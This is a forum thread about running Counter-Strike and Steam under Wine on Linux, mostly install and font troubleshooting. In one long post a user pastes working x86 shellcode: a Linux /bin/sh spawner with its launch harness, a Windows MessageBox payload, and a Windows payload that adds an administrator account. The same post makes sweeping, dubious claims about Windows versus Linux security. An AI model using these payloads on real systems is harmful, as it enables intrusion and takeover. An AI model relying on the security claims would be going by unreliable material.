+ Follow This Topic
Page 1 of 2 12 LastLast
Results 1 to 15 of 17

Thread: Anybody ever use Wine for Linux?

  1. #1
    Join Date
    Jun 2006
    Posts
    299

    Anybody ever use Wine for Linux?

    Anybody ever use Wine for Linux? Wine is a program which allows Windows applications to be used on Linux, and I'm trying to get Counterstrike to run on it. Unfortunately I can't even figure out how to install Counterstrike. Any idea what I run in terminal to make this happen?

  2. #2
    Join Date
    Apr 2004
    Gender
    Male
    Posts
    4,677
    Your best bet would be LT (Zarathu) or Tiay (I think).

    I found this, it may prove usefull.

    [url]http://www.cstrike-planet.com/tutorial/1/5[/url]
    Live together. Die alone - [url]http://www.youtube.com/watch?v=lvi_RCM3FAM[/url]

  3. #3
    Join Date
    Jun 2006
    Posts
    299
    Someone told me that Cedega is geared more for gaming while Wine is geared more for regular applications. So I'm going to give Cedega a try, maybe its interface will be different and easier to manipulate.

    With Wine I don't think there's anything to "open." Someone told me I need to INSTALL Half Life through Wine. Go to the Terminal and type something like

    Sudo apt-get install wine [setup.exe] or something like that. Setup.exe being the half life executable file.

    I'll give Cedega a shot.

  4. #4
    Join Date
    Jun 2006
    Posts
    299
    I tried that link, and everything went well until the very last step. I'm trying to install CS 1.6, and at the very end when I put the command line in to install it it paused for about 30 seconds then responded with "something updated, please retry command."

    I just forget what that something was, but it was something to do with the terminal.

  5. #5
    Join Date
    Apr 2004
    Gender
    Male
    Posts
    4,677
    Unfortunatly, you are talking to me in riddles. Like I said, you should wait for Zarathu or Tiay to come online. I'm sure one of them will be able to help you out. Sorry I couldn't help you out further.
    Last edited by Kiechi; 10-08-06 at 05:28 AM.
    Live together. Die alone - [url]http://www.youtube.com/watch?v=lvi_RCM3FAM[/url]

  6. #6
    King Zarathu's Avatar
    King Zarathu Guest
    Yes, I'm familiar with Wine. However, Steam also comes with Linux installations--why do you need Wine? Also, what distro of Linux are you using?

    Kiechi: Tiay doesn't know much about Linux.

  7. #7
    Join Date
    Apr 2004
    Gender
    Male
    Posts
    4,677
    Quote Originally Posted by Zarathu
    Yes, I'm familiar with Wine. However, Steam also comes with Linux installations--why do you need Wine? Also, what distro of Linux are you using?

    Kiechi: Tiay doesn't know much about Linux.
    Well, I was half right.
    Live together. Die alone - [url]http://www.youtube.com/watch?v=lvi_RCM3FAM[/url]

  8. #8
    King Zarathu's Avatar
    King Zarathu Guest
    Also, depending on your distro, you might be able to use apt-get.

    Code:
    sudo apt-get update
    sudo apt-get upgrade
    sudo apt-cache search ***
    Replace *** with what you're looking for.

    Or, to make things easier...

    Code:
    sudo -s
    apt-get update
    apt-get upgrade
    apt-cache search ***

  9. #9
    Join Date
    Jun 2006
    Posts
    299
    I was wrong. I did get response. And via IM Zarathu helped. WOOOOOOOO

  10. #10
    lilwing89's Avatar
    lilwing89 Guest
    i dont get it. what are advantages you have to windows, when running a linux os?

  11. #11
    King Zarathu's Avatar
    King Zarathu Guest
    Linux has amazing features. Built-in port scanners, fingerprinters, etc... Also, you can get XGL with compiz, which gives you a 3D desktop rendered in OpenGL.

    [url]http://video.google.com/videoplay?docid=-7587965514994593432[/url]

    ^^ XGL.

    ===

    Though, from a security standpoint, it's much easier to be insecure with Linux than with Windows.

  12. #12
    Join Date
    Jun 2006
    Posts
    299
    Uh, you're telling me Windows is more secure?...


    Reason I'm posting is for the life of me I cannot get this font installed. I got steam to work with wine but there's a problem. At the login screen of steam, there's no text. The reason is there's no font tahoma installed. So I have the font file. I HAVE IT. I put it in my font folder as instructed. Still, I get the same issues.

    How do I install this font? I've been to every google site and forum known to man. This is ridiculous installing a font is this hard...

  13. #13
    King Zarathu's Avatar
    King Zarathu Guest
    Quote Originally Posted by blue toxin
    Uh, you're telling me Windows is more secure?...
    Haha.. okay, you've got me started.

    Yes, Windows is MUCH more than Linux, once everything is set up properly. Proper packages along with the proper service pack, you're all set. Let me explain.

    It takes little shellcode to spawn shells and basically assrape Linux.

    Code:
    char shellcode[] =
    "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
    "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
    "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
    "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
    
    void main() {
       int *ret;
    
       ret = (int *)&ret + 2;
       (*ret) = (int)shellcode;
    
    }
    Simple, basic shellcode. If you understand basic programming, you understand that variable ret's pointer points at the return address to the casting of the char array "shellcode." Simple as ****. However, in order to write Windows shellcode, things get a little more complicated.

    Code:
    08048080 <_start>:
     8048080:       31 c0                   xor    %eax,%eax
     8048082:       31 db                   xor    %ebx,%ebx
     8048084:       31 c9                   xor    %ecx,%ecx
     8048086:       31 d2                   xor    %edx,%edx
    
     8048088:       eb 37                   jmp    80480c1 
    
    0804808a :
     804808a:       59                      pop    %ecx
     804808b:       88 51 0a                mov    %dl,0xa(%ecx)
     804808e:       bb 61 d9 e7 77          mov    $0x77e7d961,%ebx
     8048093:       51                      push   %ecx
     8048094:       ff d3                   call   *%ebx
     8048096:       eb 39                   jmp    80480d1 
    
    08048098 :
     8048098:       59                      pop    %ecx
     8048099:       31 d2                   xor    %edx,%edx
     804809b:       88 51 0b                mov    %dl,0xb(%ecx)
     804809e:       51                      push   %ecx
     804809f:       50                      push   %eax
     80480a0:       bb 32 b3 e7 77          mov    $0x77e7b332,%ebx
     80480a5:       ff d3                   call   *%ebx
     80480a7:       eb 39                   jmp    80480e2 
    
    080480a9 :
     80480a9:       59                      pop    %ecx
     80480aa:       31 d2                   xor    %edx,%edx
     80480ac:       88 51 03                mov    %dl,0x3(%ecx)
     80480af:       31 d2                   xor    %edx,%edx
     80480b1:       52                      push   %edx
     80480b2:       51                      push   %ecx
     80480b3:       51                      push   %ecx
     80480b4:       52                      push   %edx
     80480b5:       ff d0                   call   *%eax
    
    080480b7 :
     80480b7:       31 d2                   xor    %edx,%edx
     80480b9:       50                      push   %eax
     80480ba:       b8 fd 98 e7 77          mov    $0x77e798fd,%eax
     80480bf:       ff d0                   call   *%eax
    
    080480c1 :
     80480c1:       e8 c4 ff ff ff          call   804808a 
     80480c6:       75 73                   jne    804813b 
     80480c8:       65                      gs
     80480c9:       72 33                   jb     80480fe 
     80480cb:       32 2e                   xor    (%esi),%ch
     80480cd:       64                      fs
     80480ce:       6c                      insb   (%dx),%es:(%edi)
     80480cf:       6c                      insb   (%dx),%es:(%edi)
     80480d0:       4e                      dec    %esi
    
    080480d1 :
     80480d1:       e8 c2 ff ff ff          call   8048098 
     80480d6:       4d                      dec    %ebp
     80480d7:       65                      gs
     80480d8:       73 73                   jae    804814d 
     80480da:       61                      popa  
     80480db:       67                      addr16
     80480dc:       65                      gs
     80480dd:       42                      inc    %edx
     80480de:       6f                      outsl  %ds:(%esi),(%dx)
     80480df:       78 41                   js     8048122 
     80480e1:       4e                      dec    %esi
    
    080480e2 :
     80480e2:       e8 c2 ff ff ff          call   80480a9 
     80480e7:       48                      dec    %eax
     80480e8:       65                      gs
     80480e9:       79 4e                   jns    8048139
    All of that shit gets shrinked down to a bitter:
    Code:
    char code[] =   "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x37\x59\x88\x51\x0a\xbb\x61\xd9"\
    		"\xe7\x77\x51\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0b\x51\x50\xbb\x32"\
    		"\xb3\xe7\x77\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x03\x31\xd2\x52\x51"\
    		"\x51\x52\xff\xd0\x31\xd2\x50\xb8\xfd\x98\xe7\x77\xff\xd0\xe8\xc4\xff"\
    		"\xff\xff\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x4e\xe8\xc2\xff\xff"\
    		"\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x4e\xe8\xc2\xff\xff"\
    		"\xff\x48\x65\x79\x4e";
    That is, if you want to construct an exploit for an overflowable buffer, or a stack to smash. You can just compile an EXE and do the shit from there.

    Code:
     char code[] =  "\xeb\x1b\x5b\x31\xc0\x50\x31\xc0\x88\x43\x59\x53\xbb\x35\xfd\xe6\x77"\
    		"\xff\xd3\x31\xc0\x50\xbb\xfd\x98\xe7\x77\xff\xd3\xe8\xe0\xff\xff\xff"\
    		"\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73"\
    		"\x65\x72\x20\x55\x53\x45\x52\x4e\x41\x4d\x45\x20\x50\x41\x53\x53\x57"\
    		"\x4f\x52\x44\x20\x2f\x41\x44\x44\x20\x26\x26\x20\x6e\x65\x74\x20\x6c"\
    		"\x6f\x63\x61\x6c\x67\x72\x6f\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73"\
    		"\x74\x72\x61\x74\x6f\x72\x73\x20\x2f\x41\x44\x44\x20\x55\x53\x45\x52"\
    		"\x4e\x41\x4d\x45\x4e";
    That's an example of shellcode that will add an administrative account.

    But this is basic ASM, requiring a payload after an exploit is found and used.


    Furthermore, you only have two different versions of Windows. You have win32 and win64, win64 being for the 64 bit platform. You have many versions of Linux, and you would think that this would allow people to focus more on writing Windows shellcode? Think again.

    [url]http://www.milw0rm.com/shellcode/all[/url]

    With all of the Linux operators on Intel x86 chips, along with AMD, etc... Plus, almost all servers that get hacked operate off of Linux. That's another reason you should use Windows applications. There are less of them that can get exploited when listening for a socket connection. FTP servers are a classic example. Google "ftp exploit," look at the OS the FTP server operates on, and you'll get my point.

    Quote Originally Posted by Zarathu
    Disagree with me == wrong

  14. #14
    Join Date
    Jun 2006
    Posts
    299
    Good joke.

  15. #15
    King Zarathu's Avatar
    King Zarathu Guest
    Hahaha okay then.... Don't believe me.

Page 1 of 2 12 LastLast

Similar Threads

  1. changed from windows to linux.
    By misombra in forum Off Topic Discussion
    Replies: 11
    Last Post: 09-12-08, 05:12 AM
  2. I see you wine...
    By bohemiandonut in forum Off Topic Discussion
    Replies: 8
    Last Post: 28-03-08, 06:44 AM
  3. cooking wine
    By anachronistic in forum Off Topic Discussion
    Replies: 1
    Last Post: 02-01-07, 09:44 PM
  4. My Linux PC - XGL/Compiz
    By King Zarathu in forum Off Topic Discussion
    Replies: 31
    Last Post: 05-09-06, 10:16 AM
  5. ugh, i need a whine (wine) session...
    By misombra in forum Off Topic Discussion
    Replies: 40
    Last Post: 18-06-05, 08:40 AM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •